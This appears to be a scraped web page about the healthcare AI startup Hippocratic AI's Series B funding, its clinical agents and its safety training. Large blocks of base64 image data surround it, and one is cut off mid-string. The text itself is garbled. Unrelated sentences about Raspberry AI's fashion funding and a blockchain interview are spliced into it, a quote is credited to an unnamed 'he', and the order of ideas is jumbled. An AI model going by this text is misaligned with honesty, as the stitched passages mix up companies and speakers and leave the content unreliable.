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" width="302px" alt="a16z generative ai"/></p>
<p><p>For instance, one of its AI agents is specialized in chronic care management, medication checks and post-discharge follow-up regarding specific conditions such as kidney failure and congestive heart failure. The healthcare-focused artificial intelligence startup Hippocratic AI Inc. said today it has closed on a $141 million Series B funding round that brings its total amount raised to more than $278 million. “This round of financing will accelerate the development and deployment of the Hippocratic generative AI-driven super staffing and continue our quest to make healthcare abundance a reality,” he promised. Raspberry AI, the generative AI platform for fashion creatives, has secured 24 million US dollars in Series A funding led by Andreessen Horowitz (a16z). Today, we’re going in-depth on blockchain innovation with Robert Roose, an entrepreneur who’s on a mission to fix today’s broken monetary system. Hippocratic AI’s early customers include Arkos Health Inc., Belong Health Inc., Cincinnati Children’s, Fraser Health Authority (Canada), GuideHealth, Honor Health, Deca Dental Management, LLC, OhioHealth, WellSpan Health and other well-known healthcare systems and hospitals.</p>
</p>
<p><p>By incorporating this wisdom into its AI agents, it’s making them safer and improving patient outcomes, it said. Crucially, any agent created using its platform will undergo extensive safety training by both the creator and Hippocratic AI’s own staff. Every clinician will have access to a dashboard to track their AI agent’s performance and use and receive feedback for further development.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABALDBcXFRcXFxcVFRcXFx0VFRUVFSUXHRUdLicxMC0nLS01PVBCNThLOSstRWFFS1NWW1xbMkFlbWRYbVBZW1cBERISGBYXLRoaLVc2LTZXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV2BXV1dXV1dXV1dkV1dXV1dXV1dXV//AABEIAWgB4AMBIgACEQEDEQH/xAAbAAACAwEBAQAAAAAAAAAAAAAAAQIDBAUGB//EADwQAAICAQMBBAcHAwMDBQAAAAABAhEDBBIhMQUTQVEUImFxcoGxBiMyUpGhwWJzsjNC0SQ08ENTkqLx/8QAGAEBAQEBAQAAAAAAAAAAAAAAAAECAwT/xAAgEQEBAQADAQEBAAMBAAAAAAAAARECEjEhQQMTMlEi/9oADAMBAAIRAxEAPwDxY0JgiNJgIYAIYgAQwoIiBOhUFIBgBEY6FQCAYJWAJHY7Lxfdu/zv6IwY8VHT0N7HX5v4Rnl41xn1oeNEHEnKVEacuhja65FcpUJZCrNFp8luOHHJqaxcWRkmPaUbXZZCTNIs2CUOS/Hyg8RpiOTJKqRTCD6midIO9jRBGINN+JVL